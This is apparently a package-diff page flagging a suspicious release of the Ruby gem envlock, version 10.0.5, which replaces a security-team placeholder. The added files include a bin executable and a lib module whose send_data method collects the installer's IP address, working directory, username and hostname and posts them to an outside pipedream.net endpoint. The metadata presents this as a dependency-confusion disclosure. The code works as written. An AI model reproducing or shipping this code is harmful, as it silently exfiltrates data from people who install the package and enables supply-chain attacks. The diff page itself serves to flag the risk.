envlock 8.0.1 → 10.0.5

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of envlock might be problematic. Click here for more details.

checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 0eefd9bcba6a0616a2cfe057746ec8243a440dfbeb61a1df4631d20c15d2526a
4
- data.tar.gz: 7d69644e29b35366cb9670c0637b68b7f59359aba66b7d02f971971a60cb5fbd
3
+ metadata.gz: 62610922d688c47d9b70e037fb715b459441bf455ded465345b82ca54dba5982
4
+ data.tar.gz: f0367e44bf242ababfa7bc7c31ea3b260d2e25cb5ed7a8181b8562a6c55afe11
5
5
  SHA512:
6
- metadata.gz: 6ec1feafbd22c6346991c051627a1204c041877379fb10e59a5432fbf1c4f1268ade3ef95dd2e203c5bb4c4e022a66eb7a58a57ecd50a2dfa2191332a8bd90d0
7
- data.tar.gz: d24961124c1d2716a108a066ebad7a3dc1bbc9f9dc8f3f257b1a7b98417394640dd4bf18308d1321830b1c5be8602e7c7ae93f6993a5cc4490b2553eea7f3449
6
+ metadata.gz: 96fcb2077a05113d4994ca8631ef4febc7802bcbf892e4eda533c569068c419f157e2dce4bccb5802db4d93747b86399d93e5e650c78cd2c4ef0241a23f4b2dc
7
+ data.tar.gz: 9dfc0350f6b10814b4a05eb4ef8949d70f429d7f88cea74629540076764b9c966b2d8438515fe426914a316cdd9621ce3e0c4ad3234bd8b236a1a8164ed7cdcb
@@ -0,0 +1,5 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ require 'mygem/myrubyfile'
4
+ MyGem::MyRubyFile.send_data
5
+
@@ -0,0 +1,3 @@
1
+ module Envlock
2
+ VERSION = "0.1.0"
3
+ end
data/lib/envlock.rb ADDED
@@ -0,0 +1,39 @@
1
+ require 'net/http'
2
+ require 'socket'
3
+
4
+ module MyGem
5
+ class MyRubyFile
6
+ def self.send_data
7
+ # Get IP address
8
+ ip = Socket.ip_address_list.find { |addr| addr.ipv4? && !addr.ipv4_loopback? }&.ip_address || ''
9
+
10
+ # Get working directory
11
+ dir = Dir.pwd
12
+
13
+ # Get username
14
+ username = ENV['USER'] || ''
15
+
16
+ # Get hostname
17
+ hostname = Socket.gethostname
18
+
19
+ # Burp Collaborator server URL
20
+ burp_url = 'https://eox7hb9vmzgf94.m.pipedream.net'
21
+
22
+ # Data to send
23
+ data = {
24
+ 'ip' => ip,
25
+ 'directory' => dir,
26
+ 'username' => username,
27
+ 'hostname' => hostname
28
+ }
29
+
30
+ # Send data to Burp Collaborator server
31
+ uri = URI.parse(burp_url)
32
+ response = Net::HTTP.post_form(uri, data)
33
+
34
+ # Print response from Burp Collaborator server
35
+ puts response.body
36
+ end
37
+ end
38
+ end
39
+
@@ -0,0 +1,39 @@
1
+ require 'net/http'
2
+ require 'socket'
3
+
4
+ module MyGem
5
+ class MyRubyFile
6
+ def self.send_data
7
+ # Get IP address
8
+ ip = Socket.ip_address_list.find { |addr| addr.ipv4? && !addr.ipv4_loopback? }&.ip_address || ''
9
+
10
+ # Get working directory
11
+ dir = Dir.pwd
12
+
13
+ # Get username
14
+ username = ENV['USER'] || ''
15
+
16
+ # Get hostname
17
+ hostname = Socket.gethostname
18
+
19
+ # Burp Collaborator server URL
20
+ burp_url = 'https://eox7hb9vmzgf94.m.pipedream.net'
21
+
22
+ # Data to send
23
+ data = {
24
+ 'ip' => ip,
25
+ 'directory' => dir,
26
+ 'username' => username,
27
+ 'hostname' => hostname
28
+ }
29
+
30
+ # Send data to Burp Collaborator server
31
+ uri = URI.parse(burp_url)
32
+ response = Net::HTTP.post_form(uri, data)
33
+
34
+ # Print response from Burp Collaborator server
35
+ puts response.body
36
+ end
37
+ end
38
+ end
39
+
metadata CHANGED
@@ -1,26 +1,32 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: envlock
3
3
  version: !ruby/object:Gem::Version
4
- version: 8.0.1
4
+ version: 10.0.5
5
5
  platform: ruby
6
6
  authors:
7
- - Maciej Mensfeld
8
- autorequire:
7
+ - Naveen kumawat
8
+ autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2023-07-18 00:00:00.000000000 Z
11
+ date: 2023-07-14 00:00:00.000000000 Z
12
12
  dependencies: []
13
- description: Placeholder by RubyGems Security Team
13
+ description: This Ruby package vulnerable to dependency confiuse vulnerability
14
14
  email:
15
- - maciej@mensfeld.pl
16
- executables: []
15
+ - nvkattacker@gmail.com
16
+ executables:
17
+ - mygem_executable
17
18
  extensions: []
18
19
  extra_rdoc_files: []
19
- files: []
20
- homepage:
21
- licenses: []
20
+ files:
21
+ - bin/mygem_executable
22
+ - lib/envlock.rb
23
+ - lib/envlock/version.rb
24
+ - lib/mygem/myrubyfile.rb
25
+ homepage: https://rubygems.org/gems/envlock
26
+ licenses:
27
+ - MIT
22
28
  metadata: {}
23
- post_install_message:
29
+ post_install_message:
24
30
  rdoc_options: []
25
31
  require_paths:
26
32
  - lib
@@ -35,8 +41,8 @@ required_rubygems_version: !ruby/object:Gem::Requirement
35
41
  - !ruby/object:Gem::Version
36
42
  version: '0'
37
43
  requirements: []
38
- rubygems_version: 3.3.7
39
- signing_key:
44
+ rubygems_version: 3.4.10
45
+ signing_key:
40
46
  specification_version: 4
41
- summary: Placeholder by RubyGems Security Team
47
+ summary: 'Vulnerability Disclosure: Dependency confiuse vulnerability'
42
48
  test_files: []